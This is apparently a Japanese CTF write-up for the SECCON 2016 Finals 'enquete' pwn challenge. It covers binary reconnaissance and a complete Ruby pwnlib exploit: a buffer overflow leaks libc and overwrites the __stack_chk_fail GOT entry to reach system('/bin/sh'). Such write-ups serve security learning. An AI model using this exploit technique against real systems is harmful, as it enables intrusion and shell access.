SECCON 2016 Finals enquete(pwn100)
総合的な感想はこちら
下調べ
vagrant@ubuntu4ctf ~/c/s/c/enquete> file enquete | sed -e 's/, /\n/g' ASLR: ON enquete: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=0e97ebd89f7da13f10dac56bc8d4c858f62ac500 not stripped vagrant@ubuntu4ctf ~/c/s/c/enquete> checksec --file enquete ASLR: ON RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 04 enquete
※libcは配布されている
解析
What is your name? >> Binary Oishi Hi, Binary Oishi Do you like pwning? >> Yes, I do Thank you for your cooperation in the enquete!
Exploit
Canaryがあるけど,Partial RELROだったし任意アドレスの書き換えもできるので,stack_chk_failを書き換えてReturn to vuln的な感じで行こうと考えた.名前入力時のBOFを使って,readのアドレスをリークして,libcベース求めて,systemと/bin/sh出すのと,stack_chk_failのgotを脆弱性がある関数に変更する.あとは,飛び先がうまくなるように適当にスタックを配置する.
そんな感じで作ったのが以下のexploit.正直急いでいたので,ハードコーディングしてるアドレスが何かなんて覚えちゃいない.
#!/usr/bin/env ruby # coding: ascii-8bit require 'pwnlib' host = 'localhost' port = 8888 offset_read = 0xd5980 offset_system = 0x3ada0 offset_binsh = 0x15b82b if(ARGV[0] == 'r') host = '10.100.6.1' port = 28353 offset_read = 0xdaf60 offset_system = 0x40310 offset_binsh = 0x16084c end PwnTube.open(host, port) do |t| enquete_addr = 0x80485c2 main_addr = 0x804852d read_got = 0x804a00c stack_chk_fail_got = 0x804a018 addesp_44 = 0x80486e9 payload = "A" * 84 payload << p32(read_got) payload << p32(stack_chk_fail_got) t.recv_until(">> ") t.sendline(payload) t.recv_until("\n") read_got = t.recv(4).unpack("L")[0] libc_base = read_got - offset_read libc_system = libc_base + offset_system libc_binsh = libc_base + offset_binsh puts "[+] libc base 0x%x" % libc_base puts "[+] libc system 0x%x" % libc_system puts "[+] libc binsh 0x%x" % libc_binsh t.sendline(p32(main_addr)) t.recv_until(">> ") payload = "B" * 8 payload << p32(libc_system) payload << "HACK" payload << p32(libc_binsh) payload << "C" * 64 payload << p32(libc_binsh) # %sで表示されるので参照できるアドレスであればOK payload << p32(stack_chk_fail_got) t.sendline(payload) payload = "" payload << p32(0x8048614) t.sendline(payload) t.recv_until(">> ") payload = p32(addesp_44) payload << "D" * 80 payload << p32(libc_binsh) # %sで表示されるので参照できるアドレスであればOK payload << p32(stack_chk_fail_got) t.sendline(payload) payload = "" payload << p32(main_addr) t.sendline(payload) t.recv_until(">> ") t.shell end
感想
久しぶりのやっつけexploitだった.